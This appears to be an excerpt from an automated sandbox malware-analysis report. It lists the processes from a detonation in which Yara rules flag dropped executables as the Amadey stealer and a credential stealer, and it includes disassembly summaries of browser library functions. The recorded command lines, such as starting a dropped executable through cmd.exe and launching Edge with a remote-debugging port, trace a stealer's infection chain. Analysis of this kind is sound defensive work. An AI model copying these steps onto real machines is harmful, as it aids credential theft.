Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:08:35
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2284,i,12587034906761633398,4416084436642061147,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:08:35
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	06:08:36
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	06:08:39
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6256 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:08:39
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6436 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:09:03
Start date:	25/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCAEHDBAAEC.exe"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:09:03
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:09:03
Start date:	25/11/2024
Path:	C:\Users\user\DocumentsCAEHDBAAEC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsCAEHDBAAEC.exe"
Imagebase:	0xdf0000
File size:	1'910'272 bytes
MD5 hash:	9E17612D265863581FC761E5B94622D3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.1993446233.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2035721983.0000000000DF1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:09:05
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xfb0000
File size:	1'910'272 bytes
MD5 hash:	9E17612D265863581FC761E5B94622D3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2062300079.0000000000FB1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2021553596.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:09:07
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xfb0000
File size:	1'910'272 bytes
MD5 hash:	9E17612D265863581FC761E5B94622D3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.2075502137.0000000000FB1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.2034975081.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:09:36
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5988 --field-trial-handle=1992,i,16538886290713624235,1857347339083574293,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	06:10:00
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xfb0000
File size:	1'910'272 bytes
MD5 hash:	9E17612D265863581FC761E5B94622D3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000003.2556448179.00000000049D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000002.2753217663.0000000000FB1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	06:10:12
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe"
Imagebase:	0xb0000
File size:	1'873'408 bytes
MD5 hash:	A63CADCE90E5A2236DF20FEAF391A8A5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001E.00000002.2753465819.0000000000D77000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CA435A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CACF688,00001000), ref: 6CA435D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA435E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA435FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA4363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA4369F
__aulldiv.LIBCMT ref: 6CA436E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA43773
EnterCriticalSection.KERNEL32(6CACF688), ref: 6CA4377E
LeaveCriticalSection.KERNEL32(6CACF688), ref: 6CA437BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA437C4
EnterCriticalSection.KERNEL32(6CACF688), ref: 6CA437CB
LeaveCriticalSection.KERNEL32(6CACF688), ref: 6CA43801
__aulldiv.LIBCMT ref: 6CA43883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA43902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA43918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA4394C

Strings

QPC, xrefs: 6CA438FC
GenuntelineI, xrefs: 6CA43639
MOZ_TIMESTAMP_MODE, xrefs: 6CA435DB
AuthcAMDenti, xrefs: 6CA43946
GTC, xrefs: 6CA43912

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: f65b136acfa759a56f5ed258574adea17d4e5ad2e41d5cb957f2e60f534d43e3
Instruction ID: 7a360a0420ebc429b91f23fd0fa389ae3a25563230761c0372d8423dfcb5b863
Opcode Fuzzy Hash: f65b136acfa759a56f5ed258574adea17d4e5ad2e41d5cb957f2e60f534d43e3
Instruction Fuzzy Hash: 8FB1C271B093429FDB0CDF28C84565ABBF5BB8A704F04CA2EE8D9D7750D7309A468B91

Function 6CA5C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CA5C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CA5C969
GetSystemInfo.KERNEL32(?), ref: 6CA5C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CA5C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CA5C9E2

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 96c2223a50be61125e26d2fa8ba8630c149a4ef0d1f506eda8621fc9f58f59dd
Instruction ID: 4c37a418b842da39e3ba9ed14e603310dcef3cce68404e0a054fb0498eb6e7a7
Opcode Fuzzy Hash: 96c2223a50be61125e26d2fa8ba8630c149a4ef0d1f506eda8621fc9f58f59dd
Instruction Fuzzy Hash: 3B212F71741315ABD7195A64DC84BAE73B9BB4A708F90811DF903A7B40DB309D84C7A1

Function 6CA43060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA43095

Part of subcall function 6CA435A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CACF688,00001000), ref: 6CA435D5
Part of subcall function 6CA435A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA435E0
Part of subcall function 6CA435A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA435FD
Part of subcall function 6CA435A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA4363F
Part of subcall function 6CA435A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA4369F
Part of subcall function 6CA435A0: __aulldiv.LIBCMT ref: 6CA436E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA4309F

Part of subcall function 6CA65B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA656EE,?,00000001), ref: 6CA65B85
Part of subcall function 6CA65B50: EnterCriticalSection.KERNEL32(6CACF688,?,?,?,6CA656EE,?,00000001), ref: 6CA65B90
Part of subcall function 6CA65B50: LeaveCriticalSection.KERNEL32(6CACF688,?,?,?,6CA656EE,?,00000001), ref: 6CA65BD8
Part of subcall function 6CA65B50: GetTickCount64.KERNEL32 ref: 6CA65BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA430BE

Part of subcall function 6CA430F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA43127
Part of subcall function 6CA430F0: __aulldiv.LIBCMT ref: 6CA43140

Part of subcall function 6CA7AB2A: __onexit.LIBCMT ref: 6CA7AB30

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: b0d28ea518fa2b5f9a9b983020cc1c57542299f72b6f77b9e4a0ed5417b9df8a
Instruction ID: b19bf046e107bdc30cc7fa2f2df864e0bce28283f8a847e50341cafcb65d36dc
Opcode Fuzzy Hash: b0d28ea518fa2b5f9a9b983020cc1c57542299f72b6f77b9e4a0ed5417b9df8a
Instruction Fuzzy Hash: 54F0F952D207C596CB14DF748D411E67770AF6B214F10931DE88557651FF20A3DD83D6

Non-executed Functions

Function 6CA55440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA55492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA554A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA554BE
__Init_thread_footer.LIBCMT ref: 6CA554DB

Part of subcall function 6CA7AB3F: EnterCriticalSection.KERNEL32(6CACE370,?,?,6CA43527,6CACF6CC,?,?,?,?,?,?,?,?,6CA43284), ref: 6CA7AB49
Part of subcall function 6CA7AB3F: LeaveCriticalSection.KERNEL32(6CACE370,?,6CA43527,6CACF6CC,?,?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA7AB7C

Part of subcall function 6CA7CBE8: GetCurrentProcess.KERNEL32(?,6CA431A7), ref: 6CA7CBF1
Part of subcall function 6CA7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA431A7), ref: 6CA7CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA554F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CA55516
GetCurrentThreadId.KERNEL32 ref: 6CA5556A
AcquireSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA55577
moz_xmalloc.MOZGLUE(00000070), ref: 6CA55585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CA55590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CA555E6
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA55606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA55616

Part of subcall function 6CA7AB89: EnterCriticalSection.KERNEL32(6CACE370,?,?,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284), ref: 6CA7AB94
Part of subcall function 6CA7AB89: LeaveCriticalSection.KERNEL32(6CACE370,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA7ABD1

GetCurrentThreadId.KERNEL32 ref: 6CA5563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA55646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CA5567C
free.MOZGLUE(?), ref: 6CA556AE

Part of subcall function 6CA65E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA65EDB
Part of subcall function 6CA65E90: memset.VCRUNTIME140(6CAA7765,000000E5,55CCCCCC), ref: 6CA65F27
Part of subcall function 6CA65E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA65FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CA556E8
GetCurrentThreadId.KERNEL32 ref: 6CA55707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CA5570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CA55729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CA5574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CA5576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CA55796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CA557B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CA557CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CA55C56
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA554B9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CA55CF9
GeckoMain, xrefs: 6CA55554, 6CA555D5
MOZ_BASE_PROFILER_HELP, xrefs: 6CA55511
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA557C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CA55AC9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA55766
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CA55749
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA5548D
MOZ_PROFILER_STARTUP, xrefs: 6CA555E1
[I %d/%d] profiler_init, xrefs: 6CA5564E
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CA55D01
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CA557AE
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CA55B38
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA554A3
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CA556E3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CA55BBE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA55724
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA55791
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CA55D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CA5584E
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CA55D1C
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CA55D2B
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CA55717

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 3ec39b697eafe20d92217512e5a626ef63b9c4f680a4685f4e99a4197006099c
Instruction ID: 462b0070b419d33b8621992c9d472bffe961651342a9a8790497a5e049d4dd48
Opcode Fuzzy Hash: 3ec39b697eafe20d92217512e5a626ef63b9c4f680a4685f4e99a4197006099c
Instruction Fuzzy Hash: 8F2246B5A043419FDB009F74C95826A77B5BF4630CF88CA29E94687B41EB31C5E9CB63

Function 6CA8B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA8B845
AcquireSRWLockExclusive.KERNEL32(6CACF4B8,?,?,00000000), ref: 6CA8B852
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8B884
InitializeConditionVariable.KERNEL32(?), ref: 6CA8B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CA8B9FD
GetCurrentThreadId.KERNEL32 ref: 6CA8BA05
AcquireSRWLockExclusive.KERNEL32(6CACF4B8,?,?,00000000), ref: 6CA8BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CA8BA27
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8BA4B
free.MOZGLUE(?), ref: 6CA8C9C7
free.MOZGLUE(?), ref: 6CA8C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CA8C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CA8C878

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 0f4b6902d72beb4383f03513ae70faffbf6832774a82aa5b9d27e4773d36ba33
Instruction ID: 4d0019bf4ed39dba997f307b688a5789e6ec5f631575e3e2eed7a75c804e6185
Opcode Fuzzy Hash: 0f4b6902d72beb4383f03513ae70faffbf6832774a82aa5b9d27e4773d36ba33
Instruction Fuzzy Hash: A0A2A171A093818FC725CF28C89079BB7F5BFC9318F048A2DE59997751DB709989CB82

Function 6CA56C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA56CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA56D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CA56D26

Part of subcall function 6CA5CA10: malloc.MOZGLUE(?), ref: 6CA5CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CA56D35
